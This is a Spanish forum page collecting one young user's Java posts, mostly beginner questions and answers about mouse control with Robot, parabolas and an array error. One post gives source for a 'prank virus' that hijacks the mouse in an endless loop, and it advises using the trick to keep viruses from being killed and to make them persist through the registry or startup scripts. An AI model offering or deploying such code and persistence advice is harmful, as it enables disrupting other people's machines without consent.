Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Debci

#1721
Java / Re: Controlar eventos del mouse
26 Noviembre 2009, 22:21 PM
Codigo para todos, acabo de crear un mini virus de broma:

Código (java) [Seleccionar]

package robot;

import java.awt.AWTException;
import java.awt.MouseInfo;
import java.awt.Robot;
import java.awt.Robot.*;
import java.util.Random;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class Raton {
    private static int x;
    private static int y;
    private static int y_box;
    private static int x_box;
    private static MSGBox msg;
public static void main(String args[]) {
for(int i = 2;i > 1;i++) {
            try {
                y_box++;
                x_box++;
                System.out.println(MouseInfo.getPointerInfo().getLocation().getX());
                System.out.println(MouseInfo.getPointerInfo().getLocation().getY());
                Robot robot = new Robot();
                Random y_random = new Random();
                Random x_random = new Random();
                x = x_random.nextInt() * x_random.nextInt() / 2 + i;
                y = (y_random.nextInt()* x / x_random.nextInt());
                robot.mouseMove(x * 100, y * 100);
                robot.delay(1000);
               
                //msg = new MSGBox();
                //msg.setVisible(true);

                //msg.setLocation(y_box * 100, x_box * 100);
               
            } catch (AWTException ex) {
                Logger.getLogger(Raton.class.getName()).log(Level.SEVERE, null, ex);
            }

}
}
}


Y el codigo de MSGBox:

Código (java) [Seleccionar]

/*
* MSGBox.java
*
* Created on 26-nov-2009, 18:29:57
*/

package robot;



/**
*
* @author debci
*/
public class MSGBox extends javax.swing.JFrame {

    /** Creates new form MSGBox */
    public MSGBox() {
        initComponents();
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jLabel1 = new javax.swing.JLabel();
        jButton1 = new javax.swing.JButton();
        jLabel2 = new javax.swing.JLabel();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        addKeyListener(new java.awt.event.KeyAdapter() {
            public void keyPressed(java.awt.event.KeyEvent evt) {
                formKeyPressed(evt);
            }
        });

        jLabel1.setText("Owned by Debci");

        jButton1.setText("Pos vale...");

        jLabel2.setText("The power of programming!");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jLabel1)
                    .addComponent(jLabel2)
                    .addComponent(jButton1))
                .addContainerGap(211, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel1)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel2)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 14, Short.MAX_VALUE)
                .addComponent(jButton1)
                .addContainerGap())
        );

        pack();
    }// </editor-fold>

    private void formKeyPressed(java.awt.event.KeyEvent evt) {
        System.out.println("Se ha presionado la tecla " + evt.getKeyText(evt.getKeyCode()));
    }

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        javax.swing.JFrame.setDefaultLookAndFeelDecorated(true);
       
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new MSGBox().setVisible(true);
               
            }
        });
    }

    // Variables declaration - do not modify
    private javax.swing.JButton jButton1;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    // End of variables declaration

}

Si compilamos tendremos una bonita broma en la cual no parand e abrirse ventanas y ademas no se puede controlar el raton, es inestable, y si subimos mucho el bucle puede saturar el pc(comprobado) ademas de no poder controlar el raton y no pode rparar el proceso.

Digamos que es un buen metodo para proteger vuestros virus de posibles cortadas de procesos.
Si le echamos imagiancion y hacemos que se añada al registro ni un apagado acabara con nuestra ejecucion (en el caso de linux, seria cuestion de añadirlo al script de inicio).

Saludos
#1722
Java / Re: Controlar eventos del mouse
26 Noviembre 2009, 22:06 PM
Cita de: Sir Crapsalot en 26 Noviembre 2009, 22:05 PM
Exacto, es mejor con un bucle for :)

Asi hago yo los clickers xDDD
Hoy estoy motivado, cumplo 15 añitos XD

Asi que aprovechaos que me vienen ideas a la cabeza xD

Saludos
#1723
Java / Re: Controlar eventos del mouse
26 Noviembre 2009, 22:03 PM
Cita de: danyelk_6u5 en 26 Noviembre 2009, 19:41 PM
jajaja... ya aslio!!! ajua!!! asi era mas facil de explicar!!!! gracias D3bc1!!! y tambien a L-Eyer... si no es mucho pedir como haria para clickear dos veces y pues que en donde cliclkeo se ejecute algo, por ejemplo si tengo un archivo, y yo muevo el muse utilizando el robot, encima del archivo  le hago un doble click (robot.mousePress(InputEvent.BUTTON1_MASK);) se abra ese archivo? esque si lo selecciona pero no lo abre???  se usaria el presionado de la tecla enter?? o como???
----crei que seria por la velocidad del clickeo pero resulta que no es asi...pues le puse un tiempo de espera para poder hacer otro click...jejeje...
Bueno espero q me ayuden.. y les digo alrtato si funciona lo que manden, que ahora me toy yendo a la esc...  GRACIAS!!!!!! ;)
Seria tan sencillo como hacer lo siguiente:

Código (java) [Seleccionar]

robot.mousePress(InputEvent.BUTTON1_MASK);
robot.mouseRelease(InputEvent.BUTTON1_MASK);
robot.mousePress(InputEvent.BUTTON1_MASK);
robot.mouseRelease(InputEvent.BUTTON1_MASK);

o mejor aun, usando la logica de la programacion:
Código (java) [Seleccionar]

int numClicks = 2;
for(int i = 0; i<numClicks; i++) {

robot.mousePress(InputEvent.BUTTON1_MASK);
robot.mouseRelease(InputEvent.BUTTON1_MASK);
}


Y tan solo haria falta modificar la variable de tipo int y añadirle el valor que quiere decir el numero de clicks que hace, 1 por cada vuelta o loop del bucle for.

Saludos
#1724
Java / Re: Controlar eventos del mouse
26 Noviembre 2009, 18:43 PM
Mir ate lo pongo sencillo:
Código (java) [Seleccionar]

Robot robot = new Robot();
                Random y_random = new Random();
                Random x_random = new Random();
                x = x_random.nextInt() * x_random.nextInt() / 2 + i;
                y = (y_random.nextInt()* x / x_random.nextInt());
                robot.mouseMove(x, y);

Ese codigo es para una pequeña broma, si lo metes en un bucle... haces malicias jeje....

Fijate en :

Código (java) [Seleccionar]
robot.mouseMove(x,y);


Con eso mueves a cualquier posicion de la pantalla.

Saludos
#1725
Java / Re: Controlar eventos del mouse
26 Noviembre 2009, 18:11 PM
Cita de: danyelk_6u5 en 26 Noviembre 2009, 17:40 PM
y esto me pondria el puntero en cualquier parte del escritorio? aun estando fuera de un frame??... Y si queiro hacer doble click??
Te recomiendo que explores esa clase que L-EYER te ha dado.

Saludos
#1726
Cita de: danyelk_6u5 en 24 Noviembre 2009, 03:55 AM
Esque necesito simular la trayectoria de un balon pero pues.... no se como podria hacer para simularlo.. No me digan con un drawArc, no me sirve, necesito dibujar la parabola... osea solo el balon se vera y se ira viendo su movimeinto.. Me imagino que se usaria una formula matematica..ayuda porfa!!!!!
Las parabolas tienen funciones caracteristicas, en concreto:
f(x)=ax(al cuadrado) + bx + c
Donde a b y c son coeficientes que indican, desplazamiento del vertice de la parabola[...]

Saludos
#1727
Cita de: -Ramc- en 23 Noviembre 2009, 18:52 PM
Para la pregunta que haces, el error dá por esta línea:
matrizCaracteres[i ] = matrizCaracteres[i+1];

Cuando i vale 4, está en la letra 'i' y le dices que en donde está la letra 'i' o sea matrizCaracteres[4], guarde la letra matrizCaracteres[i+1] es decir, matrizCaracteres[5] la cual no existe y por eso de lanza el error de desbordamiento del array.
la cosa es que no se me ocurre como estabilizar esa situacion, ya se que el error ocurre porque intento leer un indice que no existe, pero como se podria hacer para que lea solamente hasta el ultimo?

Saludos
#1728
Cita de: Sir Crapsalot en 22 Noviembre 2009, 22:10 PM
Cita de: ,.-~*´¨¯¨`*·~-.¸..::| D3Bć1 |::.,.-~*´¨¯¨`*·~-.¸ en 22 Noviembre 2009, 20:12 PM
Cita de: L-EYER en 22 Noviembre 2009, 19:46 PM
si tu metodo es ese donde  se queda el valor de 0 es decir si colocas "hola" daria esto "olaa" ?
si, mas bien es problema de planteamiento, ya que no se como hacer que se cambien de alguna manera que lo combierta ilegible.

Saludos

Si, porque tu metodo es muy facil de descifrar  ;D
La cosa esta en que no me preccupa que sea facil o no, si no como lo puedo hacer para encriptarlo (por ejemplo) se me ocurrió que podia dividir la string en dos y girarlas y volver a juntarlas.

Pero sigue sin ser efectivo.

Saludos
#1729
Cita de: L-EYER en 22 Noviembre 2009, 19:46 PM
si tu metodo es ese donde  se queda el valor de 0 es decir si colocas "hola" daria esto "olaa" ?
si, mas bien es problema de planteamiento, ya que no se como hacer que se cambien de alguna manera que lo combierta ilegible.

Saludos
#1730
Java / Problema con algoritmo encriptador y matriz
22 Noviembre 2009, 12:11 PM
Hola a todos, hoy estaba diseñando un algoritmo que cifra cadenas, cuando me dio un error extraño (puede que sea por mi autodidactia) que no soy capaz de resolver:


Código (java) [Seleccionar]
public void cifra() {
String cadenaIntroducida = new String("Debci");

cadenaIntroducida.toUpperCase();
char[] matrizCaracteres = cadenaIntroducida.toCharArray();
int numeroCaracteres = matrizCaracteres.length;
System.out.println("La cadena tiene " + numeroCaracteres +" caracteres." );
for(int i = 0; i < numeroCaracteres; i++){
    matrizCaracteres[i] = matrizCaracteres[i+1];
}
for(int x = 0; x < numeroCaracteres; x++){
    System.out.println(matrizCaracteres[x]);
}

}

La cosa, es que mi algoritmo hace lo siguiente, transforma todos los valores del array en el siguiente del indice, es decir, el valor que este en 0, sera transformado por el que este en 1, el de uno sera el 2, basicamente corre hacia un lado los indices.
Me da un error raro al ejecutar:

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 5
        at encriptacion.Encriptador.cifra(Encriptador.java:23)
        at encriptacion.Encriptador.main(Encriptador.java:32)
La cadena tiene 5 caracteres.
Java Result: 1

A que se debe?

Saludos